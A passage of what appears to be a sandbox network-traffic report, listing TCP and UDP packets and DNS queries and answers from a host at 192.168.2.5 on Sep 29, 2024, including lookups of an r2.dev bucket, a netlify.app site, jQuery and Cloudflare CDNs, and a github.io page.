Sep 29, 2024 02:27:36.183183908 CEST	49734	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.183202982 CEST	49734	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.183868885 CEST	443	49734	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.183928013 CEST	49734	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.183933973 CEST	443	49734	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.183963060 CEST	443	49734	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.184019089 CEST	49734	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.185568094 CEST	49734	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.185580969 CEST	443	49734	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.353097916 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.354681015 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.354697943 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.358915091 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.358994007 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.362087011 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.362180948 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.363814116 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.363826036 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.381340981 CEST	443	49733	35.156.224.161	192.168.2.5
Sep 29, 2024 02:27:36.381428003 CEST	443	49733	35.156.224.161	192.168.2.5
Sep 29, 2024 02:27:36.381480932 CEST	49733	443	192.168.2.5	35.156.224.161
Sep 29, 2024 02:27:36.459526062 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.459625959 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.459665060 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.459696054 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.459811926 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.459863901 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.459872007 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.460026979 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.460078955 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.460084915 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.460123062 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.460191965 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.460333109 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.460398912 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.460406065 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.460556984 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.460606098 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.460613012 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.544007063 CEST	49733	443	192.168.2.5	35.156.224.161
Sep 29, 2024 02:27:36.544035912 CEST	443	49733	35.156.224.161	192.168.2.5
Sep 29, 2024 02:27:36.546437025 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.546452999 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.546488047 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.546511889 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.546525955 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.546535015 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.546580076 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.548181057 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.548190117 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.548212051 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.548221111 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.548264980 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.548274040 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.548300982 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.596074104 CEST	443	49741	185.199.108.153	192.168.2.5
Sep 29, 2024 02:27:36.610583067 CEST	49741	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:27:36.610603094 CEST	443	49741	185.199.108.153	192.168.2.5
Sep 29, 2024 02:27:36.611690998 CEST	443	49741	185.199.108.153	192.168.2.5
Sep 29, 2024 02:27:36.611758947 CEST	49741	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:27:36.612341881 CEST	49741	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:27:36.612402916 CEST	443	49741	185.199.108.153	192.168.2.5
Sep 29, 2024 02:27:36.612576962 CEST	49741	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:27:36.612588882 CEST	443	49741	185.199.108.153	192.168.2.5
Sep 29, 2024 02:27:36.632038116 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.632091045 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.632114887 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.632117033 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.632141113 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.632157087 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.632169008 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.632188082 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.633390903 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.633400917 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.633423090 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.633430958 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.633440018 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.633460045 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.633474112 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.633491039 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.633500099 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.633522034 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.634377003 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.634401083 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.634443045 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.634457111 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.634464979 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.634501934 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.674726963 CEST	443	49739	184.28.90.27	192.168.2.5
Sep 29, 2024 02:27:36.674813986 CEST	49739	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:27:36.676506996 CEST	49739	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:27:36.676517963 CEST	443	49739	184.28.90.27	192.168.2.5
Sep 29, 2024 02:27:36.677325010 CEST	443	49739	184.28.90.27	192.168.2.5
Sep 29, 2024 02:27:36.678791046 CEST	49739	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:27:36.684483051 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.684506893 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.684570074 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.684587002 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.684751987 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.706768036 CEST	443	49741	185.199.108.153	192.168.2.5
Sep 29, 2024 02:27:36.706841946 CEST	49741	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:27:36.706856012 CEST	443	49741	185.199.108.153	192.168.2.5
Sep 29, 2024 02:27:36.706969023 CEST	443	49741	185.199.108.153	192.168.2.5
Sep 29, 2024 02:27:36.707042933 CEST	49741	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:27:36.707830906 CEST	49741	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:27:36.707851887 CEST	443	49741	185.199.108.153	192.168.2.5
Sep 29, 2024 02:27:36.707865000 CEST	49741	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:27:36.707906961 CEST	49741	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:27:36.717879057 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.717917919 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.717930079 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.717947006 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.717952013 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.717972994 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.717998981 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.718916893 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.718955994 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.718969107 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.718983889 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.718985081 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.719013929 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.719016075 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.719038010 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.719089031 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.719144106 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.719151020 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.719158888 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.719203949 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.719926119 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.719974995 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.720005989 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.720012903 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.720038891 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.723402977 CEST	443	49739	184.28.90.27	192.168.2.5
Sep 29, 2024 02:27:36.723506927 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.723536015 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.723577023 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.723587036 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.723629951 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.723740101 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.723767996 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.723797083 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.723815918 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.723838091 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.724133015 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.724157095 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.724210024 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.724219084 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.724232912 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.778631926 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.803800106 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.803824902 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.803878069 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.803889036 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.803926945 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.803951979 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.804095030 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.804111958 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.804167032 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.804173946 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.804244995 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.804249048 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.804260015 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.804275036 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.804300070 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.804307938 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.804358006 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.804414034 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.804749966 CEST	49737	443	192.168.2.5	151.101.194.137
Sep 29, 2024 02:27:36.804766893 CEST	443	49737	151.101.194.137	192.168.2.5
Sep 29, 2024 02:27:36.948052883 CEST	443	49739	184.28.90.27	192.168.2.5
Sep 29, 2024 02:27:36.948118925 CEST	443	49739	184.28.90.27	192.168.2.5
Sep 29, 2024 02:27:36.948204994 CEST	49739	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:27:36.949028969 CEST	49739	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:27:36.949048042 CEST	443	49739	184.28.90.27	192.168.2.5
Sep 29, 2024 02:27:36.949059963 CEST	49739	443	192.168.2.5	184.28.90.27
Sep 29, 2024 02:27:36.949067116 CEST	443	49739	184.28.90.27	192.168.2.5
Sep 29, 2024 02:27:42.052037954 CEST	49703	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:42.052624941 CEST	49703	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:42.056891918 CEST	443	49703	23.1.237.91	192.168.2.5
Sep 29, 2024 02:27:42.057495117 CEST	443	49703	23.1.237.91	192.168.2.5
Sep 29, 2024 02:27:42.078113079 CEST	49751	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:42.078159094 CEST	443	49751	23.1.237.91	192.168.2.5
Sep 29, 2024 02:27:42.078397036 CEST	49751	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:42.197443962 CEST	49751	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:42.197478056 CEST	443	49751	23.1.237.91	192.168.2.5
Sep 29, 2024 02:27:42.404088974 CEST	443	49720	172.217.18.100	192.168.2.5
Sep 29, 2024 02:27:42.404175997 CEST	443	49720	172.217.18.100	192.168.2.5
Sep 29, 2024 02:27:42.404758930 CEST	49720	443	192.168.2.5	172.217.18.100
Sep 29, 2024 02:27:42.818768978 CEST	443	49751	23.1.237.91	192.168.2.5
Sep 29, 2024 02:27:42.818837881 CEST	49751	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:27:44.451689005 CEST	49720	443	192.168.2.5	172.217.18.100
Sep 29, 2024 02:27:44.451709032 CEST	443	49720	172.217.18.100	192.168.2.5
Sep 29, 2024 02:27:45.531475067 CEST	80	49710	172.66.0.235	192.168.2.5
Sep 29, 2024 02:27:45.531544924 CEST	49710	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:27:46.306530952 CEST	49710	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:27:46.312561035 CEST	80	49710	172.66.0.235	192.168.2.5
Sep 29, 2024 02:28:01.975866079 CEST	443	49751	23.1.237.91	192.168.2.5
Sep 29, 2024 02:28:01.979569912 CEST	49751	443	192.168.2.5	23.1.237.91
Sep 29, 2024 02:28:14.631567001 CEST	49709	80	192.168.2.5	172.66.0.235
Sep 29, 2024 02:28:14.636440039 CEST	80	49709	172.66.0.235	192.168.2.5
Sep 29, 2024 02:28:19.881414890 CEST	49727	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:28:19.881479025 CEST	443	49727	185.199.108.153	192.168.2.5
Sep 29, 2024 02:28:31.883465052 CEST	49755	443	192.168.2.5	172.217.18.100
Sep 29, 2024 02:28:31.883521080 CEST	443	49755	172.217.18.100	192.168.2.5
Sep 29, 2024 02:28:31.883727074 CEST	49755	443	192.168.2.5	172.217.18.100
Sep 29, 2024 02:28:31.883893967 CEST	49755	443	192.168.2.5	172.217.18.100
Sep 29, 2024 02:28:31.883908033 CEST	443	49755	172.217.18.100	192.168.2.5
Sep 29, 2024 02:28:32.544514894 CEST	443	49755	172.217.18.100	192.168.2.5
Sep 29, 2024 02:28:32.544882059 CEST	49755	443	192.168.2.5	172.217.18.100
Sep 29, 2024 02:28:32.544908047 CEST	443	49755	172.217.18.100	192.168.2.5
Sep 29, 2024 02:28:32.545239925 CEST	443	49755	172.217.18.100	192.168.2.5
Sep 29, 2024 02:28:32.545634031 CEST	49755	443	192.168.2.5	172.217.18.100
Sep 29, 2024 02:28:32.545696020 CEST	443	49755	172.217.18.100	192.168.2.5
Sep 29, 2024 02:28:32.600363016 CEST	49755	443	192.168.2.5	172.217.18.100
Sep 29, 2024 02:28:36.306226969 CEST	49727	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:28:36.306371927 CEST	443	49727	185.199.108.153	192.168.2.5
Sep 29, 2024 02:28:36.306483984 CEST	49727	443	192.168.2.5	185.199.108.153
Sep 29, 2024 02:28:42.460258961 CEST	443	49755	172.217.18.100	192.168.2.5
Sep 29, 2024 02:28:42.460346937 CEST	443	49755	172.217.18.100	192.168.2.5
Sep 29, 2024 02:28:42.460427046 CEST	49755	443	192.168.2.5	172.217.18.100
Sep 29, 2024 02:28:44.308391094 CEST	49755	443	192.168.2.5	172.217.18.100
Sep 29, 2024 02:28:44.308414936 CEST	443	49755	172.217.18.100	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 29, 2024 02:27:27.968132019 CEST	53	58529	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:28.038124084 CEST	53	51600	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:29.101310968 CEST	53	58633	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:29.112274885 CEST	55380	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:29.112869978 CEST	64875	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:29.123449087 CEST	53	64875	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:29.151756048 CEST	53	55380	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:29.629971981 CEST	53530	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:29.630136967 CEST	55244	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:29.638101101 CEST	53	53530	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:29.639595985 CEST	53	55244	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:30.995042086 CEST	53	58912	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:31.009494066 CEST	63847	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:31.015084028 CEST	49787	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:31.015889883 CEST	53	63847	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:31.016840935 CEST	55176	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:31.017524958 CEST	62364	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:31.022196054 CEST	53	49787	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:31.024544954 CEST	53	55176	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:31.024643898 CEST	53	62364	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:31.025911093 CEST	53	62602	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:31.129365921 CEST	50101	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:31.129796028 CEST	50760	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:31.138322115 CEST	53	50760	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:31.138999939 CEST	53	50101	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:31.834189892 CEST	55581	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:31.834541082 CEST	61760	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:31.840769053 CEST	53	55581	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:31.841190100 CEST	53	61760	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:32.880117893 CEST	64740	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:32.884337902 CEST	65471	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:32.887233019 CEST	53	64740	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:32.892648935 CEST	53	65471	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:35.245722055 CEST	57370	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:35.246000051 CEST	58281	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:35.246248007 CEST	50910	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:35.246248007 CEST	49195	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:35.252361059 CEST	53	57370	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:35.252721071 CEST	53	58281	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:35.252911091 CEST	53	49195	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:35.253038883 CEST	53	50910	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:35.357883930 CEST	53	50370	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:35.943860054 CEST	53	61746	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:36.131181002 CEST	54121	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:36.133780956 CEST	53918	53	192.168.2.5	1.1.1.1
Sep 29, 2024 02:27:36.140014887 CEST	53	54121	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:36.142466068 CEST	53	53918	1.1.1.1	192.168.2.5
Sep 29, 2024 02:27:46.418885946 CEST	53	56589	1.1.1.1	192.168.2.5
Sep 29, 2024 02:28:05.339150906 CEST	53	61863	1.1.1.1	192.168.2.5
Sep 29, 2024 02:28:27.369554996 CEST	53	57557	1.1.1.1	192.168.2.5
Sep 29, 2024 02:28:28.249249935 CEST	53	64114	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Sep 29, 2024 02:27:29.112274885 CEST	192.168.2.5	1.1.1.1	0xf6d	Standard query (0)	pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:29.112869978 CEST	192.168.2.5	1.1.1.1	0xf434	Standard query (0)	pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev	65	IN (0x0001)	false
Sep 29, 2024 02:27:29.629971981 CEST	192.168.2.5	1.1.1.1	0xcce9	Standard query (0)	pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:29.630136967 CEST	192.168.2.5	1.1.1.1	0x3a3e	Standard query (0)	pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev	65	IN (0x0001)	false
Sep 29, 2024 02:27:31.009494066 CEST	192.168.2.5	1.1.1.1	0xe4d8	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.015084028 CEST	192.168.2.5	1.1.1.1	0x2a22	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 29, 2024 02:27:31.016840935 CEST	192.168.2.5	1.1.1.1	0xe116	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.017524958 CEST	192.168.2.5	1.1.1.1	0x7375	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 02:27:31.129365921 CEST	192.168.2.5	1.1.1.1	0x115f	Standard query (0)	bestfilltype.netlify.app	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.129796028 CEST	192.168.2.5	1.1.1.1	0xc893	Standard query (0)	bestfilltype.netlify.app	65	IN (0x0001)	false
Sep 29, 2024 02:27:31.834189892 CEST	192.168.2.5	1.1.1.1	0xad50	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.834541082 CEST	192.168.2.5	1.1.1.1	0xc032	Standard query (0)	www.google.com	65	IN (0x0001)	false
Sep 29, 2024 02:27:32.880117893 CEST	192.168.2.5	1.1.1.1	0x25f9	Standard query (0)	gtomitsuka.github.io	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:32.884337902 CEST	192.168.2.5	1.1.1.1	0xb3c1	Standard query (0)	gtomitsuka.github.io	65	IN (0x0001)	false
Sep 29, 2024 02:27:35.245722055 CEST	192.168.2.5	1.1.1.1	0x4abf	Standard query (0)	cdnjs.cloudflare.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:35.246000051 CEST	192.168.2.5	1.1.1.1	0xb6ce	Standard query (0)	cdnjs.cloudflare.com	65	IN (0x0001)	false
Sep 29, 2024 02:27:35.246248007 CEST	192.168.2.5	1.1.1.1	0xf964	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:35.246248007 CEST	192.168.2.5	1.1.1.1	0xe483	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Sep 29, 2024 02:27:36.131181002 CEST	192.168.2.5	1.1.1.1	0xda80	Standard query (0)	gtomitsuka.github.io	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:36.133780956 CEST	192.168.2.5	1.1.1.1	0x93ec	Standard query (0)	gtomitsuka.github.io	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Sep 29, 2024 02:27:29.151756048 CEST	1.1.1.1	192.168.2.5	0xf6d	No error (0)	pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:29.151756048 CEST	1.1.1.1	192.168.2.5	0xf6d	No error (0)	pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:29.638101101 CEST	1.1.1.1	192.168.2.5	0xcce9	No error (0)	pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev		162.159.140.237	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:29.638101101 CEST	1.1.1.1	192.168.2.5	0xcce9	No error (0)	pub-5c11a91a55864f9b9bf45b1c581d6d73.r2.dev		172.66.0.235	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.015889883 CEST	1.1.1.1	192.168.2.5	0xe4d8	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.015889883 CEST	1.1.1.1	192.168.2.5	0xe4d8	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.015889883 CEST	1.1.1.1	192.168.2.5	0xe4d8	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Sep 29, 2024 02:27:31.015889883 CEST	1.1.1.1	192.168.2.5	0xe4d8	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
